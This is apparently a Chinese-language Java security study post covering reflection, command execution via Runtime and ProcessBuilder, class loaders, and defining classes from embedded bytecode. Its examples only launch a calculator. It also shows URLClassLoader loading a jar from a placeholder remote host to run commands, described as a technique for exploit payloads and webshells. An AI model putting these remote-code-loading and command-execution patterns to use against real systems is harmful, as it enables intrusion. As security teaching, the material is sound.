JavaSec 入门-01
前言
考完 Java 之后感觉非常爽啊,离散数电大物概率论是什么答辩,能不能只考我平时每天学的东西
正式开写文章记录下 JavaSec 的学习之路,之前写的那反序列化太烂了,毫无逻辑,删了重写,前几篇都是对于《Java安全漫谈》的消化吸收,以及 JavaSec 项目的部分搬运加个人理解。
Java 中的命令执行
最常见且简单的形式,通过 java.lang.Runtime 类去调用
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc");
}
}
反射
Java 安全可以从反序列化漏洞开始说起,反序列化漏洞⼜可以从反射开始说起。
概念
反射是⼤多数语⾔⾥都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的⽅法可以调⽤,总之通过“反射”,我们可以将Java这种静态语⾔附加上动态特性。
相较于通过 new 一个类去实例化对象的正射,Java 反射机制是在运行状态时,对于任意一个类,都能够获取到这个类的所有属性和方法,对于任意一个对象,都能够调用它的任意一个方法和属性(包括私有的方法和属性),这种动态获取的信息以及动态调用对象的方法的功能就称为java语言的反射机制。 示例
Person类
package test;
import java.io.*;
public class Person implements Serializable {
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";//重写tostring方便后面print数据
}
}
反射类
package test;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Exception {
//正射
Person s1 = new Person("yanami",12);
//反射
System.out.println(s1);
Class c1 = s1.getClass();
Constructor constructor = c1.getConstructor(String.class, int.class);//通过反射获取构造函数,再获取实例化对象
Person s2=(Person)constructor.newInstance("aniale",16);
System.out.println(s2);
Field age = c1.getDeclaredField("age"); //获取属性并且修改
age.setAccessible(true); //让private变量可被修改,否则会报错
age.set(s2,18);
System.out.println(s2);
}
}
在正常情况下,除了系统类,如果我们想拿到一个类,需要先 import 才能使用。而使用 forName 就不需要,这样对于我们的攻击者来说就十分有利,我们可以加载任意类。
如何使用
获取一个类
1.通过一个class
的静态变量class
获取:
Class cls = String.class;
2.通过该实例变量提供的getClass()
方法获取:
String s = "yanami";
Class cls = s.getClass();
3.知道一个class
的完整类名,可以通过静态方法Class.forName()
获取
Class cls = Class.forName("java.lang.String");
关于 forName()
有两个函数重载:
Class<?> forName(String name)
Class<?> forName(String name, boolean initialize, ClassLoader loader)
第⼀个就是我们最常⻅的获取 class 的⽅式,其实可以理解为第⼆种方式的⼀个封装:
Class.forName(className)
// 等于
Class.forName(className, true, currentLoader)
访问字段
Field field = cls.getFields("name");
Field field = cls.getDeclaredField("age");
获取方法
获取的时候因为可能有同名的函数,这时就需要去通过后面传入的参数类型去区分,就比如 main 方法的 String[].class
Method getMethod(name, Class...)
:获取某个public
的Method
(包括父类)Method getDeclaredMethod(name, Class...)
:获取当前类的某个Method
(不包括父类)Method[] getMethods()
:获取所有public
的Method
(包括父类)Method[] getDeclaredMethods()
:获取当前类的所有Method
(不包括父类)
获取构造方法
通过Class实例获取Constructor的方法如下:
getConstructor(Class...)
:获取某个public
的Constructor
;getDeclaredConstructor(Class...)
:获取某个Constructor
;getConstructors()
:获取所有public
的Constructor
;getDeclaredConstructors()
:获取所有Constructor
反射执行命令
精简地缩写在一起是这样,不易理解
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),"calc.exe");
其实就是
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");
如果当一个类没有无参构造方法,也没有类似单例模式里的静态方法,就要通过获取构造器去实现反射了
和 getMethod 类似, getConstructor 接收的参数是构造函数列表类型,因为构造函数也支持重载, 所以必须用参数列表类型才能唯一确定一个构造函数。 获取到构造函数后,我们使用 newInstance 来执行。 比如,我们常用的另一种执行命令的方式ProcessBuilder,我们使用反射来获取其构造函数,然后调用 start() 来执行命令:
public class ReConstructor {
public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
Class clazz = Class.forName("java.lang.ProcessBuilder");
Method startmethod = clazz.getMethod("start");
Constructor ConstructorPB = clazz.getConstructor(List.class);
Object C = ConstructorPB.newInstance(Arrays.asList("calc.exe"));
startmethod.invoke(C);
}
}
简单地写是这样
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
ProcessBuilder 有两个构造函数: public ProcessBuilder(List command) public ProcessBuilder(String... command) 上面用到了第一个形式的构造函数,所以在 getConstructor 的时候传入的是 List.class 。
那么,如果我们要使用 public ProcessBuilder(String... command)
这个构造函数,需要怎样用反射执行呢? 这又涉及到Java里的可变长参数(varargs)了。正如其他语言一样,Java 也支持可变长参数,就是当你 定义函数的时候不确定参数数量的时候,可以使用 ...
这样的语法来表示“这个函数的参数个数是可变的”。
对于可变长参数,Java 其实在编译的时候会编译成一个数组,也就是说,如下这两种写法在底层是等价的(也就不能重载):
public void hello(String[] names) {}
public void hello(String...names) {}
那么对于反射来说,如果要获取的目标函数里包含可变长参数,其实我们认为它是数组就行了。 所以,我们将字符串数组的类 String[].class
传给 getConstructor
,获取 ProcessBuilder
的第二种构造函数:
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)
在调用 newInstance
的时候,因为这个函数本身接收的是一个可变长参数,我们传给 ProcessBuilder
的也是一个可变长参数,二者叠加为一个二维数组,所以整个 Payload 如下:
Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
如果一个方法或构造方法是私有方法,这就涉及到 getDeclared
系列的反射了,与普通的 getMethod
、 getConstructor
区别是:getMethod
系列方法获取的是当前类中所有公共方法,包括从父类继承的方法 getDeclaredMethod
系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了。 getDeclaredMethod
的具体用法和 getMethod
类似, getDeclaredConstructor
的具体用法和 getConstructor
类似,我就不再赘述。 举个例子,前文我们说过 Runtime
这个类的构造函数是私有的,我们需要用 Runtime.getRuntime()
来 获取对象。其实现在我们也可以直接用 getDeclaredConstructor
来获取这个私有的构造方法来实例化对象,进而执行命令:
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
可见,这里使用了一个方法 setAccessible
,这个是必须的。我们在获取到一个私有方法后,必须用 setAccessible
修改它的作用域,否则仍然不能调用。
类加载机制
Java 程序在运行前需要先编译成 .class 文件,Java类初始化的时候会调用java.lang.ClassLoader
加载类字节码,ClassLoader
会调用 JVM 的 native 方法(defineClass0/1/2
)来定义一个java.lang.Class
实例。
JVM 启动的时候,并不会一次性加载所有的 class 文件, 而是根据需要去动态加载.
类加载器简介
Java语言系统自带有三个类加载器, 分别为如下:
启动类加载器(Bootstrap ClassLoader):
这个类加载器负责将 \lib 目录下的类库加载到虚拟机内存中,用来加载java的核心库,此类加载器并不继承于 java.lang.ClassLoader ,不能被 java 程序直接调用,代码是使用 C++ 编写的,是虚拟机自身的一部分.
扩展类加载器(Extendsion ClassLoader):
这个类加载器负责加载 \lib\ext 目录下的类库,用来加载 java 的扩展库,开发者可以直接使用这个类加载器.
应用程序类加载器(Application ClassLoader):
这个类加载器负责加载用户类路径(CLASSPATH)下的类库,一般我们编写的 java 类都是由这个类加载器加载,这个类加载器是 CLassLoader 中的 getSystemClassLoader() 方法的返回值,所以也称为系统类加载器.一般情况下这就是系统默认的类加载器.
除此之外,我们还可以加入自己定义的类加载器,以满足特殊的需求,需要继承 java.lang.ClassLoader 类.
ClassLoader
所有的 Java 类都必须经过 JVM 加载后才能运行,ClassLoader
的主要作用就是Java类文件的加载。在 JVM 类加载器中最顶层的是Bootstrap ClassLoader(引导类加载器)
、Extension ClassLoader(扩展类加载器)
、App ClassLoader(系统类加载器)
,AppClassLoader
是默认的类加载器,如果类加载时我们不指定类加载器的情况下,默认会使用AppClassLoader
加载类,ClassLoader.getSystemClassLoader()
返回的系统类加载器也是AppClassLoader
。
某些时候我们获取一个类的类加载器时候可能会返回一个null
值,如:java.io.File.class.getClassLoader()
将返回一个null
对象,因为java.io.File
类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)
加载(该类加载器实现于JVM层,采用C++编写),我们在尝试获取被Bootstrap ClassLoader
类加载器所加载的类的ClassLoader
时候都会返回null
类加载器的核心方法
loadClass
(加载指定的Java类)findClass
(查找指定的Java类)findLoadedClass
(查找JVM已经加载过的类)defineClass
(定义一个Java类)resolveClass
(链接指定的Java类)
Java 类动态加载方式
Java 类加载方式分为显式和隐式,显式即我们通常使用Java反射
或者ClassLoader
来动态加载一个类对象,而隐式指的是类名.方法名()
或new
类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。
常用的类动态加载方式:
// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");
// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");
Class.forName("类名")
默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器)
,而ClassLoader.loadClass
默认不会初始化类方法。
例如下面的代码
public class TrainPrint {
{
System.out.printf("Empty block initial %s\n", this.getClass());
}
static {
System.out.printf("Static initial %s\n", TrainPrint.class);
}
public TrainPrint() {
System.out.printf("Initial %s\n", this.getClass());
}
}
⾸先调⽤的是 static {} ,其次是 {} ,最后是构造函数。 其中, static {} 就是在“类初始化”的时候调⽤的,⽽ {} 中的代码会放在构造函数的 super() 后⾯, 但在当前构造函数内容的前⾯。 所以说, forName 中的 initialize=true 其实就是告诉Java虚拟机是否执⾏”类初始化“。
ClassLoader加载流程
双亲委派
双亲委派模型的工作过程为:如果一个类加载器收到了类加载的请求,它首先不会自己去尝试加载这个类,而是把这个请求委派给父类加载器去完成,每一个层次的加载器都是如此,因此所有的类加载请求都会传给顶层的启动类加载器,只有当父加载器反馈自己无法完成该加载请求(该加载器的搜索范围中没有找到对应的类)时,子加载器才会尝试自己去加载。
也就是一个类加载器查找 class 和 resource 时,是通过委托模式
进行的,它首先判断这个 class 是不是已经加载成功,如果没有的话它并不是自己进行查找,而是先通过父加载器,然后递归下去,直到 Bootstrap ClassLoader,如果 Bootstrap classloader 找到了,直接返回,如果没有找到,则一级一级返回,最后到达自身去查找这些对象。
使用双亲委派模型的好处在于Java类随着它的类加载器一起具备了一种带有优先级的层次关系。例如类 java.lang.Object,它存在在 rt.jar 中,无论哪一个类加载器要加载这个类,最终都是委派给处于模型最顶端的 Bootstrap ClassLoader 进行加载,因此 Object 类在程序的各种类加载器环境中都是同一个类。相反,如果没有双亲委派模型而是由各个类加载器自行加载的话,如果用户编写了一个 java.lang.Object 的同名类并放在 ClassPath 中,那系统中将会出现多个不同的 Object 类,程序将混乱。因此,如果开发者尝试编写一个与 rt.jar 类库中重名的Java类,可以正常编译,但是永远无法被加载运行。
双亲委派模型的系统实现
在 java.lang.ClassLoader 的 loadClass() 方法中,先检查是否已经被加载过,若没有加载则调用父类加载器的 loadClass() 方法,若父加载器为空则默认使用启动类加载器作为父加载器。如果父加载失败,则抛出 ClassNotFoundException 异常后,再调用自己的 findClass() 方法进行加载。
protected synchronized Class<?> loadClass(String name,boolean resolve) throws ClassNotFoundException{
//check the class has been loaded or not
Class c = findLoadedClass(name);
if(c == null){
try{
if(parent != null){
c = parent.loadClass(name,false);
}else{
c = findBootstrapClassOrNull(name);
}
}catch(ClassNotFoundException e){
//if throws the exception ,the father can not complete the load
}
if(c == null){
c = findClass(name);
}
}
if(resolve){
resolveClass(c);
}
return c;
}
以一个 Java 的 HelloWorld 来学习ClassLoader
。
ClassLoader
加载TestHelloWorld
类loadClass
重要流程如下:
ClassLoader
会调用public Class<?> loadClass(String name)
方法加载TestHelloWorld
类。调用
findLoadedClass
方法检查TestHelloWorld
类是否已经初始化,如果 JVM 已初始化过该类则直接返回类对象。如果创建当前
ClassLoader
时传入了父类加载器(new ClassLoader(父类加载器)
)就使用父类加载器加载TestHelloWorld
类,否则使用JVM的Bootstrap ClassLoader
加载。如果上一步无法加载
TestHelloWorld
类,那么调用自身的findClass
方法尝试加载TestHelloWorld
类。如果当前的
ClassLoader
没有重写了findClass
方法,那么直接返回类加载失败异常。如果当前类重写了findClass
方法并通过传入的TestHelloWorld
类名找到了对应的类字节码,那么应该调用defineClass
方法去JVM中注册该类。如果调用
loadClass
的时候传入的resolve
参数为true,那么还需要调用resolveClass
方法链接类,默认为false。返回一个被 JVM 加载后的
java.lang.Class
类对象。
自定义ClassLoader
java.lang.ClassLoader
是所有的类加载器的父类,java.lang.ClassLoader
有非常多的子类加载器,比如我们用于加载 jar 包的java.net.URLClassLoader
其本身通过继承java.lang.ClassLoader
类,重写了findClass
方法从而实现了加载目录 class 文件甚至是远程资源文件。
加入我们现在完全没有这个类,那么我们可以使用自定义类加载器重写findClass
方法,然后在调用defineClass
方法的时候传入RunCalc
类的字节码的方式来向 JVM 中定义一个RunCalc
类,最后通过反射机制就可以调用RunCalc
类的main
方法了。
输出字节码:(也可以采用从.class 文件中直接读取,注意编译与输出的 jdk 版本)
package test;
import java.io.FileInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class ByteCodeFormatter {
public static byte[] getClassBytes(String filePath) throws IOException {
try (FileInputStream inputStream = new FileInputStream(filePath);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream()) {
byte[] buffer = new byte[1024];
int length;
while ((length = inputStream.read(buffer)) != -1) {
byteArrayOutputStream.write(buffer, 0, length);
}
return byteArrayOutputStream.toByteArray();
}
}
public static void printAsByteArray(byte[] classBytes) {
StringBuilder sb = new StringBuilder();
sb.append("private static byte[] testClassBytes = new byte[]{\n ");
for (int i = 0; i < classBytes.length; i++) {
sb.append(classBytes[i]);
if (i < classBytes.length - 1) {
sb.append(", ");
}
if ((i + 1) % 10 == 0) { // 每行输出10个字节
sb.append("\n ");
}
}
sb.append("\n};");
System.out.println(sb.toString());
}
public static void main(String[] args) {
try {
byte[] classBytes = getClassBytes("RunCalc.class");
printAsByteArray(classBytes);
} catch (IOException e) {
e.printStackTrace();
}
}
}
注意这里类名要加包名
package test;
import java.lang.reflect.Method;
public class TestClassLoader extends ClassLoader {
// TestHelloWorld类名
private static String testClassName = "test.RunCalc";
// TestHelloWorld类字节码
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 58, 0, 35,
10, 0, 2, 0, 3, 7, 0, 4, 12, 0,
5, 0, 6, 1, 0, 16, 106, 97, 118, 97,
47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
99, 116, 1, 0, 6, 60, 105, 110, 105, 116,
62, 1, 0, 3, 40, 41, 86, 10, 0, 8,
0, 9, 7, 0, 10, 12, 0, 11, 0, 12,
1, 0, 17, 106, 97, 118, 97, 47, 108, 97,
110, 103, 47, 82, 117, 110, 116, 105, 109, 101,
1, 0, 10, 103, 101, 116, 82, 117, 110, 116,
105, 109, 101, 1, 0, 21, 40, 41, 76, 106,
97, 118, 97, 47, 108, 97, 110, 103, 47, 82,
117, 110, 116, 105, 109, 101, 59, 8, 0, 14,
1, 0, 4, 99, 97, 108, 99, 10, 0, 8,
0, 16, 12, 0, 17, 0, 18, 1, 0, 4,
101, 120, 101, 99, 1, 0, 39, 40, 76, 106,
97, 118, 97, 47, 108, 97, 110, 103, 47, 83,
116, 114, 105, 110, 103, 59, 41, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 80, 114,
111, 99, 101, 115, 115, 59, 7, 0, 20, 1,
0, 12, 116, 101, 115, 116, 47, 82, 117, 110,
67, 97, 108, 99, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117,
109, 98, 101, 114, 84, 97, 98, 108, 101, 1,
0, 18, 76, 111, 99, 97, 108, 86, 97, 114,
105, 97, 98, 108, 101, 84, 97, 98, 108, 101,
1, 0, 4, 116, 104, 105, 115, 1, 0, 14,
76, 116, 101, 115, 116, 47, 82, 117, 110, 67,
97, 108, 99, 59, 1, 0, 4, 109, 97, 105,
110, 1, 0, 22, 40, 91, 76, 106, 97, 118,
97, 47, 108, 97, 110, 103, 47, 83, 116, 114,
105, 110, 103, 59, 41, 86, 1, 0, 4, 97,
114, 103, 115, 1, 0, 19, 91, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 83, 116,
114, 105, 110, 103, 59, 1, 0, 10, 69, 120,
99, 101, 112, 116, 105, 111, 110, 115, 7, 0,
32, 1, 0, 19, 106, 97, 118, 97, 47, 105,
111, 47, 73, 79, 69, 120, 99, 101, 112, 116,
105, 111, 110, 1, 0, 10, 83, 111, 117, 114,
99, 101, 70, 105, 108, 101, 1, 0, 12, 82,
117, 110, 67, 97, 108, 99, 46, 106, 97, 118,
97, 0, 33, 0, 19, 0, 2, 0, 0, 0,
0, 0, 2, 0, 1, 0, 5, 0, 6, 0,
1, 0, 21, 0, 0, 0, 47, 0, 1, 0,
1, 0, 0, 0, 5, 42, -73, 0, 1, -79,
0, 0, 0, 2, 0, 22, 0, 0, 0, 6,
0, 1, 0, 0, 0, 5, 0, 23, 0, 0,
0, 12, 0, 1, 0, 0, 0, 5, 0, 24,
0, 25, 0, 0, 0, 9, 0, 26, 0, 27,
0, 2, 0, 21, 0, 0, 0, 56, 0, 2,
0, 1, 0, 0, 0, 10, -72, 0, 7, 18,
13, -74, 0, 15, 87, -79, 0, 0, 0, 2,
0, 22, 0, 0, 0, 10, 0, 2, 0, 0,
0, 7, 0, 9, 0, 8, 0, 23, 0, 0,
0, 12, 0, 1, 0, 0, 0, 10, 0, 28,
0, 29, 0, 0, 0, 30, 0, 0, 0, 4,
0, 1, 0, 31, 0, 1, 0, 33, 0, 0,
0, 2, 0, 34
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
if (name.equals(testClassName)) {
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
try {
// 加载RunCalc类
Class<?> clazz = loader.loadClass(testClassName);
// 反射调用类的main方法
Method mainMethod = clazz.getMethod("main", String[].class);
// 传入空参数数组,调用main方法执行exec
mainMethod.invoke(null, (Object) new String[]{});
} catch (Exception e) {
e.printStackTrace();
}
}
}
URLClassLoader
URLClassLoader
继承了ClassLoader
,URLClassLoader
提供了加载远程资源的能力,在写漏洞利用的payload
或者webshell
的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
package test;
import java.io.IOException;
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
jar cvf CMD.jar test/CMD.class
注意这里类名要加包名
package test;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("http://xxx/CMD.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定义需要执行的系统命令
String cmd = "whoami";
// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("test.CMD");
// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
类加载隔离
创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader 是有隔离机制的,不同的 ClassLoader 可以加载相同的 Class(两者必须是非继承关系),同级 ClassLoader 跨类加载器调用方法时必须使用反射。
跨类加载器加载
package test;
import java.lang.reflect.Method;
public class TestCrossClassLoader {
public static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 58, 0, 35,
10, 0, 2, 0, 3, 7, 0, 4, 12, 0,
5, 0, 6, 1, 0, 16, 106, 97, 118, 97,
47, 108, 97, 110, 103, 47, 79, 98, 106, 101,
99, 116, 1, 0, 6, 60, 105, 110, 105, 116,
62, 1, 0, 3, 40, 41, 86, 10, 0, 8,
0, 9, 7, 0, 10, 12, 0, 11, 0, 12,
1, 0, 17, 106, 97, 118, 97, 47, 108, 97,
110, 103, 47, 82, 117, 110, 116, 105, 109, 101,
1, 0, 10, 103, 101, 116, 82, 117, 110, 116,
105, 109, 101, 1, 0, 21, 40, 41, 76, 106,
97, 118, 97, 47, 108, 97, 110, 103, 47, 82,
117, 110, 116, 105, 109, 101, 59, 8, 0, 14,
1, 0, 4, 99, 97, 108, 99, 10, 0, 8,
0, 16, 12, 0, 17, 0, 18, 1, 0, 4,
101, 120, 101, 99, 1, 0, 39, 40, 76, 106,
97, 118, 97, 47, 108, 97, 110, 103, 47, 83,
116, 114, 105, 110, 103, 59, 41, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 80, 114,
111, 99, 101, 115, 115, 59, 7, 0, 20, 1,
0, 12, 116, 101, 115, 116, 47, 82, 117, 110,
67, 97, 108, 99, 1, 0, 4, 67, 111, 100,
101, 1, 0, 15, 76, 105, 110, 101, 78, 117,
109, 98, 101, 114, 84, 97, 98, 108, 101, 1,
0, 18, 76, 111, 99, 97, 108, 86, 97, 114,
105, 97, 98, 108, 101, 84, 97, 98, 108, 101,
1, 0, 4, 116, 104, 105, 115, 1, 0, 14,
76, 116, 101, 115, 116, 47, 82, 117, 110, 67,
97, 108, 99, 59, 1, 0, 4, 109, 97, 105,
110, 1, 0, 22, 40, 91, 76, 106, 97, 118,
97, 47, 108, 97, 110, 103, 47, 83, 116, 114,
105, 110, 103, 59, 41, 86, 1, 0, 4, 97,
114, 103, 115, 1, 0, 19, 91, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 83, 116,
114, 105, 110, 103, 59, 1, 0, 10, 69, 120,
99, 101, 112, 116, 105, 111, 110, 115, 7, 0,
32, 1, 0, 19, 106, 97, 118, 97, 47, 105,
111, 47, 73, 79, 69, 120, 99, 101, 112, 116,
105, 111, 110, 1, 0, 10, 83, 111, 117, 114,
99, 101, 70, 105, 108, 101, 1, 0, 12, 82,
117, 110, 67, 97, 108, 99, 46, 106, 97, 118,
97, 0, 33, 0, 19, 0, 2, 0, 0, 0,
0, 0, 2, 0, 1, 0, 5, 0, 6, 0,
1, 0, 21, 0, 0, 0, 47, 0, 1, 0,
1, 0, 0, 0, 5, 42, -73, 0, 1, -79,
0, 0, 0, 2, 0, 22, 0, 0, 0, 6,
0, 1, 0, 0, 0, 5, 0, 23, 0, 0,
0, 12, 0, 1, 0, 0, 0, 5, 0, 24,
0, 25, 0, 0, 0, 9, 0, 26, 0, 27,
0, 2, 0, 21, 0, 0, 0, 56, 0, 2,
0, 1, 0, 0, 0, 10, -72, 0, 7, 18,
13, -74, 0, 15, 87, -79, 0, 0, 0, 2,
0, 22, 0, 0, 0, 10, 0, 2, 0, 0,
0, 7, 0, 9, 0, 8, 0, 23, 0, 0,
0, 12, 0, 1, 0, 0, 0, 10, 0, 28,
0, 29, 0, 0, 0, 30, 0, 0, 0, 4,
0, 1, 0, 31, 0, 1, 0, 33, 0, 0,
0, 2, 0, 34
};
public static class ClassLoaderA extends ClassLoader {
public ClassLoaderA(ClassLoader parent) {
super(parent);
}
{
// 加载类字节码
defineClass("test.RunCalc", testClassBytes, 0, testClassBytes.length);
}
}
public static class ClassLoaderB extends ClassLoader {
public ClassLoaderB(ClassLoader parent) {
super(parent);
}
{
// 加载类字节码
defineClass("test.RunCalc", testClassBytes, 0, testClassBytes.length);
}
}
public static void main(String[] args) throws Exception {
// 父类加载器
ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
// A类加载器
ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);
// B类加载器
ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);
// 使用A/B类加载器加载同一个类
Class<?> aClass = Class.forName("test.RunCalc", true, aClassLoader);
Class<?> aaClass = Class.forName("test.RunCalc", true, aClassLoader);
Class<?> bClass = Class.forName("test.RunCalc", true, bClassLoader);
// 比较A类加载和B类加载器加载的类是否相等
System.out.println("aClass == aaClass:" + (aClass == aaClass));
System.out.println("aClass == bClass:" + (aClass == bClass));
System.out.println("\n" + aClass.getName() + "方法清单:");
// 获取该类所有方法
Method[] methods = aClass.getDeclaredMethods();
for (Method method : methods) {
System.out.println(method);
}
Method mainMethod = aClass.getMethod("main", String[].class);
// 调用hello方法
mainMethod.invoke(null, (Object) new String[]{});
System.out.println("\n反射调用:" + "test.RunCalc" + "类" + mainMethod.getName());
}
}
返回结果并调用计算器
aClass == aaClass:true
aClass == bClass:false
test.RunCalc方法清单:
public static void test.RunCalc.main(java.lang.String[]) throws java.io.IOException
反射调用:test.RunCalc类main方法
参考文章
P神的 Java 安全漫谈
https://www.javasec.org/
https://github.com/Y4tacker/JavaSec/blob/main/